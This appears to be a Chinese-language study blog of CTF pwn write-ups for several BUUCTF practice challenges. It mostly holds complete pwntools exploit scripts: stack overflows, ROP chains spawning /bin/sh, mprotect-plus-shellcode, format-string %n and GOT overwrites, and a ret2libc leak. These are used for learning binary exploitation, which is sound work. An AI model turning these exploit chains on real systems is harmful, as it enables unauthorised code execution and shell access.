get_started_3dsctf_2016(*)

9.2,9.3

难题真多,先做个简单的(然后发现还是好难!!!但是方法是真的多,可易可难,好题!)

分析:

checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

有NX,i386,32位

方法一:

from pwn import *

context(os="linux", arch="i386", log_level="debug")
#可以反馈debug的一句操作,挺实惠的[doge]
q=remote("node4.buuoj.cn",29728)

get_flag=0x080489A0
#这是一个函数地址
exit=0x0804E6A0
#这也是一个函数地址,这里用于远程正常退出

payload = cyclic(0x38) + p32(get_flag) + p32(exit)
#填入垃圾数字到ebp,转到函数,执行完后正常exit(否则会出现timeout,
#可能是因为get_flag函数没有return)

a1 = 0x308CD64F
a2 = 0x195719D1
#IDA中可查,就是要求的数字的0x表示办法

payload += p32(a1) + p32(a2)
#进入get_flag是会调用两个参数的,这时候我们塞进去的刚好是a1和a2

q.sendline(payload)
re=q.recvline()
print(re)
#发送,接收,打印。

方法二:

from pwn import *

local = 1
if local == 1:
io = process('../get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',29252)

#一个简易的本地远程调试切换器

#接下来利用ROPgadget和IDA进行gadget以及一些地址的获取
pop_eax_ret = 0x80b91e6
#ROPgadget --binary <文件> --only 'pop|ret'|grep eax
pop_edx_ecx_ebx_ret = 0x806fc30
#ROPgadget --binary <文件> --only 'pop|ret'|grep edx

int80 = 0x806d7e5
#这是32位的系统调用函数,搜索方法:
#ROPgadget --binary <文件> --only int
mov_edx_eax_ret = 0x80557ab
#同理

haha=0x80ea000
#一个可写地址,用来存之后写入的/bin/sh,查找办法详见反思1
payload = b'a'*56+p32(pop_eax_ret)+b'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(haha)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
#用垃圾填到ebp,把/bin存到eax,edx存haha,ecx存0,ebx存0,eax的值赋给edx
#主要思想是eax里存入'/bin'存到edx里haha的地址,ecx和ebx赋值多少无所谓

payload += p32(pop_eax_ret)+b'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(haha+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
#同理的。32位的话是4字节,因此/bin/sh\x00是分两段存。而这里存到/bin的后四位,拼接起来。

payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(haha)+p32(int80)
#实现系统调用'execve("/bin/sh", NULL, NULL) '详见32位系统调用表,execve序号为0xb,三个参数
#而32为程序通过 int 80 操作进行系统调用,由 eax 寄存器传递系统调用号,
#传参顺序依次为ebx , ecx , edx , esi , edi , ebp ,返回值存在 eax 中

io.sendline(payload)

io.interactive()

方法三:

from pwn import *

#context(os="linux", arch="i386", log_level="debug")
q = process("../get_started_3dsctf_2016")

elf = ELF("../get_started_3dsctf_2016")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
#为调用两个自带的函数做准备,一个是mprotect,用于改变内存权限;一个是read,用于读取并写入shell


# 内存权限改变的起始地址,也是shellcode写入的起始地址
start_addr = 0x80ea000

# 执行三个弹栈操作的汇编代码起始位置
pop_3_ret = 0x806fc30

#此rop链被用于小知识讲解,详见文章pwn小知识。
payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)# mprotect有三个参数,32位栈函数传参
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7) # 0x7 == 可读可写可执行
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)#执行完read之后返回的地址
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')#一段shellcode

q.sendline(payload)
#sleep(0.1)
q.sendline(shellcode)#read还会要求输入,这时输入shellcode
q.interactive()

反思

1.如何找到写'/bin/sh'的地址?

1.执行题目的可执行文件,如./vuln

2.寻找该文件的当前进程的PID,pgrep -f vuln,假设返回值12345

3.查找可写地址,pmap 12345 | grep rw,搞定。

🚀 mprotect函数简介

mprotect是一个系统调用,主要用于改变内存区域的保护属性。在Linux环境下,它的原型如下:

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

🎯 主要参数

  • addr: 要更改的内存区域的起始地址。通常,这个地址必须是系统页大小的倍数(一般是4KB)。

  • len: 需要更改的内存长度。

  • prot: 指定新的保护属性。它是以下标志的组合:

    • PROT_NONE: 不可访问。

    • PROT_READ: 可读。

    • PROT_WRITE: 可写。

    • PROT_EXEC: 可执行。

      上文提到的0x7实际上是一个组合值,我们可以将其分解为多个权限标志来看。🔍

      0x7在二进制中表示为111,其中:

      • 最低位(第0位)代表PROT_EXEC,表示可执行权限。
      • 中间位(第1位)代表PROT_WRITE,表示可写权限。
      • 最高位(第2位)代表PROT_READ,表示可读权限。

      所以,prot0x7时,意味着这段内存区域同时具有读、写、执行的权限。😄🌈

🎉 返回值

成功时,返回0;失败时,返回-1,并设置errno

  1. 善用GDB调试,debug日志等。

  2. 🧐 代码解析

    shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
    1. shellcraft.sh(): 这是pwntoolsshellcraft模块提供的函数,它会生成一个基本的shellcode,通常用于弹出一个shell。这个shellcode默认是用汇编语言描述的。
    2. asm(): 这是pwntools的一个函数,它的作用是将给定的汇编代码编译成二进制格式的shellcode。在上面的代码中,它将shellcraft.sh()生成的汇编shellcode转换成了二进制格式。
    3. arch=’i386’, os=’linux’: 这些是asm函数的参数,用于指定目标架构和操作系统。在此例中,目标架构是i386(32位x86架构),操作系统是Linux。

    🎉 结果

    得到一个可以在32位Linux系统上运行的、用于弹出shell的二进制shellcode。

ciscn_2019_s_3

9.1

有点难,很多没搞懂,搞懂了再来更新

from pwn import *

#io = remote("node4.buuoj.cn",26593)
io = process('../ciscn_s_3')
vuln=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517

pl1=b'a'*16+p64(vuln)
io.send(pl1)
io.recv(32)
sh=u64(io.recv(8))-0x148
print(hex(sh))

pl2=b'/bin/sh\x00'+ b'a'*8+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)
pl2+=p64(sys)
io.send(pl2)

io.interactive()

bjdctf_2020_babystack

0831

from pwn import *

sh = remote("node4.buuoj.cn",26963)
door = 0x4006E6
sh.sendlineafter("[+]Please input the length of your name:",b'200')
p = (16 + 8) * b'a' + p64(door)
sh.sendlineafter("[+]What's u name?",p)

sh.interactive()

0830

ciscn_2019_n_8

今天的题目咋这么草率

1.exploit

from pwn import *

sh = remote("node4.buuoj.cn",26983)

p = p32(1) * 13 + p32(17)
#p = b'a' * 4 *13 + p32(17)

sh.sendlineafter("What's your name?",p)

sh.interactive()

2.反思

1.payload有两种表示方法,第一种纯用数字1填数组,第二种注意一个整数占四位,要乘4

2.checksec开启了几乎所有保护,但是通过IDA看出可以纯纯通过要求输入来搞定,更简单了。

jarvisoj_level2

难度骤降,受不了

1.exploit

from pwn import *
sh = remote("node4.buuoj.cn",29560)

binsh = 0x804A024
sys = 0x804849E

p = b'a' * (136 + 4) + p32(sys) + p32(binsh)

sh.sendlineafter("Input:",p)

sh.interactive()

2.反思

1.注意32位与64位的区别

2.sys的地址实际为“call system”

3.IDA注意shift+f12查看字符串的技巧

pwn1_sctf_2016 1

0826

1.分析

IDA打开,vuln函数,代码比较长,就不直接展示了。

捕捉到关键信息如下:

char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
;此处定义一个32位的字符型s数组,同时可以注意到它距离ebp有3Ch的距离,为60位。

fgets(s, 32, edata);
;这是一个fgets,相对于gets要安全,限定了输入的长度32

std::string::string(v4, "you", &v5);
;一个“you”字符串引人注意

std::string::string(v6, "I", v7);
;一个“I”字符串引人注意

replace((std::string *)v3);
;引人猜测有发生replace。点进replace,乱七八糟,懒得看。

由于伪代码会出现很多乱七八糟的东西,这个时候就需要选择性忽略。

另外,看代码属于静态,我们还可以去进行动态的调试,来快速理解题目功能。

在ubuntu的terminal中,安装C++文件依赖:

sudo apt-get install lib32stdc++6

执行文件,输入

youyouyouIII111

返回

So, youyouyouyouyouyou111

发现“I”全都替换成了“you”。

说明我只要输一字符“I”就可以获得三字符的“you”,

因此需要尝试爆破的话,距离ebp60位,只需要20个“I”就可以解决。

此外,我们ebp是4位,需要再来一个“I”和一个其他字符四个其他字符。

另外,发现一个后门函数是get_flag:

int get_flag()
{
return system("cat flag.txt");
}

找到:

.text:08048F13                 mov     dword ptr [esp], offset command ; "cat flag.txt"

地址为:0x8048F13

理论可行,实操开始。

2.实操

Ubuntu中打开code,代码如下

from pwn import *

sh = remote('node4.buuoj.cn',26361)

payload = b'I' * 21 + b'a' + p32(0x8048F13)

sh.sendline(payload)

sh.interactive()

over。

jarvisoj_level0 1

0827

前面做了这么多,这题有点过于老套了。

1.分析

IDA:

注意vulnerable_function和callsystem这两个函数。

其中vulnerable_function如下:

ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

很经典,考虑 80h buf + 8h rbp

另外callsystem中轻易获得唤起控制台地址。

2.代码

from pwn import *

sh = remote('node4.buuoj.cn',25124)

payload = b'I' * (128+8) + p64(0x40059A)

sh.sendline(payload)

sh.interactive()

[第五空间2019 决赛]PWN5 1

0827

1.尝试

使用checksec:

$ checksec pwn


[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

注意到有Canary,溢出有保护。

NX开启,说明栈中数据没有执行权限。

运行程序,初步尝试。

2.分析

用IDA32位,打开,关键部分如下:

char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
//buf距离ebp7*16=112,而buf占100位
//nptr距离ebp 80h,即在buf下面占12位。

v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
// 使用种子以后,产生随机数


read(fd, &unk_804C044, 4u);
//把随机数写入unk_804C044所指向的地址,占四个字节,u表示这是一个无符号整数。
//unk_804C044存在于bss段,无法直接获取。

read(0, &buf, 0x63u);
// buf到栈底的长度有0x70h,但是我们只能输入 0x63h,也就是我们无法在这里溢出

printf(&buf);
// printf函数输出了刚才输入的东西,而没有PIE,可以使用格式化字符串攻击。

read(0, &nptr, 0xFu);
// 同理,在这里我们也无法在这里溢出


if ( atoi(&nptr) == unk_804C044 ){
puts("ok!!");
system("/bin/sh");
}
/*此处判断条件是利用的关键点,上述有两次read,有以下两种方案:
1.第一次read将unk_804C044的值利用%n改成一个已知数,第二次read再将已知数传给nptr,满足判断条件,执行puts("ok!!"); 和 system("/bin/sh");
2.第一次read将atoi函数直接改为执行system函数,第二次read将nptr改成"/bin/sh",于是执行system("/bin/sh");
*/

注:BSS(Block Started by Symbol)代表了程序未初始化的全局变量和静态变量的存储区域。

3.代码

方法一:篡改unk_804C044的值

以下确定输入的字符串偏移量:

$ './pwn' 

your name:abcd 1:%p 2:%p 3:%p 4:%p 5:%p 6:%p 7:%p 8:%p 9:%p 10:%p 11:%p
Hello,abcd 1:0xffc7ea48 2:0x63 3:(nil) 4:0xf7fd1ba0 5:0x3 6:0xf7f927b0 7:0x1 8:(nil) 9:0x1 10:0x64636261 11:0x32207025

通过这个测试,我们知道abcd被存储在参数列表中第十个参数的位置。(a的ascii码是61)

IDA中可以找到unk_804C044的地址就是0x804C044

.bss:0804C044 dword_804C044   dd ?                    ; DATA XREF: main+77↑o

printf函数的一个漏洞就是可以借助**%n**写入数据。

python代码如下:

from pwn import *

sh = remote('node3.buuoj.cn',29326)

payload = p32(0x804c044) + b'%10$n'
'''
0x804c044占4字节
'%n'在printf()中表示,将已输出的字符数写入到参数指向的位置。
而经过上述测试,我们知道第十个参数指向的地址,就是我们输入的地址0x804c044
10$就代表写入第十个参数。
不要忘记添加'b',否则发送str会报错。
写入了值 b'4'
'''

sh.sendlineafter("your name:", payload)

sh.recvuntil("your passwd:")
sh.sendline(b'4')
#以上两种方法都是收到提示后发送。


sh.interactive()
方法二:将atoi函数直接改为执行system函数

python代码如下:

from pwn import *

elf = ELF('./pwn')
#elf是可执行文件的意思。

sh = remote('node4.buuoj.cn',26396)

atoi_got_addr = elf.got['atoi']

system_plt_addr = elf.plt['system']

format_string_offset = 10

payload = fmtstr_payload(format_string_offset,{atoi_got_addr:system_plt_addr})

sh.sendlineafter('your name:', payload)

sh.recvuntil('your passwd:')
sh.sendline('/bin/sh\x00')
#结束要记得添加字符串结束符。

sh.interactive()

解释一下一些知识盲区:

  1. atoi_got_addr = elf.got['atoi']:

    • 这行代码从当前程序的**全局偏移表(GOT)**中提取了atoi函数的地址。GOT是一个在运行时由动态链接器维护的表,用于存储每个外部函数(如来自共享库的函数)的实际地址。
    • 当程序第一次调用一个外部函数时,它实际上是通过GOT的对应条目来调用的。在程序第一次调用该函数后,动态链接器将填充该函数的实际地址到GOT。
    • 由于GOT存放在已知的地址,并且可能在程序的生命周期中被修改,因此它经常成为二进制漏洞利用的目标。
  2. system_plt_addr = elf.plt['system']:

    • 这行代码从程序的**过程链接表(PLT)**中提取了system函数的地址。PLT是一个存放跳转指令的表,它在程序第一次调用一个外部函数时使用。
    • 当程序尝试调用一个还未解析的外部函数时,它首先跳转到PLT中的对应条目。然后,PLT条目将使用GOT中的信息来跳转到实际的函数地址(或者调用动态链接器来解析它)。
  3. format_string_offset = 10:

    • 这声明了一个变量,表示我们预计格式化字符串开始的位置是第10个参数。这通常是通过测试和实验来确定的。
  4. payload = fmtstr_payload(format_string_offset, {atoi_got_addr: system_plt_addr}):

    • fmtstr_payloadpwnlib库中的一个函数,用于生成格式化字符串攻击的payload。
    • 第一个参数(format_string_offset)告诉函数格式化字符串在参数列表中的位置。
    • 第二个参数是一个字典,描述了应修改哪些地址及其新的值。在这里,我们想将atoi的GOT条目改为system函数的PLT地址。换句话说,我们想在下次程序调用atoi函数时实际上执行system函数。

该攻击涉及到重写GOT中的atoi函数地址,使其指向system函数或其他恶意代码。这样,下次程序尝试调用atoi时,它实际上会执行攻击者选择的代码。

ciscn_2019_c_1 1

20230828

一个ROP。

代码先行。

1.python代码
from pwn import*
from LibcSearcher import *
# LibcSearcher 也是重要的一个模组

r=remote("node4.buuoj.cn",25016)
elf=ELF("../ciscn_2019_c_1")
rdi=0x400c83
# 通过Ropgadget得到,一个pop_rdi的地址

got=elf.got['puts']
plt=elf.plt['puts']
# puts是一个典型格式化字符串漏洞,得到它的got和plt

main_addr=0x400B28
# main函数地址,用于返回主函数

def leak_puts_addr():
r.recv()
# 接收它要输出的文字

r.sendline(b"1")
# 输入1,进入encypt函数

r.recvuntil(b"\n")
# puts在输出完语句后会自动加上一个“\n”,我们只需要捕捉这个\n就可以了。

p=b"a"*0x58+p64(rdi)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
# 第一个payload,因为gets函数容易溢出,我们直接48+8填充s和rbp,进入执行流。
# 然后传送到rdi,把我们puts函数的got和plt都填充进去,然后回到main函数,这样下一次输出就会泄露。
# 泄漏地址到stdout。

for i in range(0,2):
r.recvuntil(b"\n")
# 收到了两个puts函数,读取两次
# 第二次输出s中的\n之后会接着输出泄露地址。

return u64(r.recv(6).ljust(8,b"\x00"))
# 接收泄露的puts地址。接收6位,补齐成8位,结束符组成字符串。

libc=LibcSearcher("puts",leak_puts_addr())
# 泄露的一个puts,足以推断整个libc
libcbase=leak_puts_addr()-libc.dump("puts")
# 绝对地址-相对地址就是libc的基址

r.recv()
r.sendline(b"1")
r.recvuntil(b"\n")

sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
# 实现栈对齐

p1=b"a"*0x58+p64(res)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
#进入rdi之前先实现栈对齐

r.sendline(p1)
r.interactive()
2.思路
TERMINAL:

弹出一个界面,有三个选项。选1,会让你输入一些东西;选2,没啥卵用;选3,直接退了。

可见,输入这个部分可能是突破口。

IDA:

于是我们注意encrypt函数,不要被它的逻辑吸引了,

主要就是个gets和puts这些复古且不安全的函数需要被我们利用。

而数组s是其中的主角。puts可以利用格式化字符串漏洞。

利用rdi进行ROP攻击。

3.反思

1.代码模块化是一种新的尝试。注意增加代码可读性,注释里也全是信息和知识点。

2.ROP中,puts之后会造成栈不对齐,我们需要重新栈对齐,用一个简单的函数来return修正(它会调整rsp)

3.checksec也是一种提示,比如这题NX enabled,一般用ROP绕过。

4.注意ROP链几个重要细节:每一个函数、寄存器结束之后都会有个ret;plt是被ret执行,用来执行got的。